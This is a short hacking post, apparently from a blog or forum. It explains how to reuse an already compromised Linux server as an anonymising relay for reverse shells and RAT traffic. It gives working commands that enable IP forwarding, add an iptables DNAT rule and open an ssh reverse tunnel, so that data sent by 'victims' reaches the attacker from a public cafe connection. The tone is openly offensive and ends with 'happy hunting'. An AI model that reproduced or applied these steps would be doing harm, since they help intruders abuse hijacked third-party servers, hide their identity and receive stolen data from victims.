If you want to use RATs, reverse TCP-shells or sth you always need to have that destination IP. It is not the best idea to use your own for this ;) in public you will not have a static IP, using dynDNS is not the best and you cannot route ports there. So if you pwned a Linux-server already you can setup this one to be like a proxy that can be safely accessed from public WiFi f.e.
First setup forwarding and IPTABLES on the pwned Server:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 666 -j DNAT --to 127.0.0.1:666
the first command enables forwarding and the second one adds a route with DNAT into the nat-table (chain prerouting). This is for routing the tcp port 666 from the internet (eth0) to localhost, so every incoming tcp-traffic on port 666 will be routed to localhost (even if there is no process listening). Looks bit weird but with the next step this makes sense.
Now if you are on a public connection in a cafe. you don’t want to be monitored. From here you can connect to the pwned server with ssh and simultaneously open a tunnel back to receive data from your victims:
ssh -R 666:{yourlocalip}:4711 {pwnedserverip}
Here you open up ssh and log in on the pwned server and simultaneously open up a backward tunnel to the local port 4711 where you can receive whatever your victim is about to send. This “connects” the remote “listening-local-port” 666 to your local port 4711!
The cool thing about that is, that the destination is only open on demand (when you’ve opened the tunnel) and otherwise only leads to localhost on the pwned server. You could chain some servers this way to add obfuscation and being a bit more anonymous while using a secure encrypted connection which is hiding your local IP
Easy as that :D happy hunting
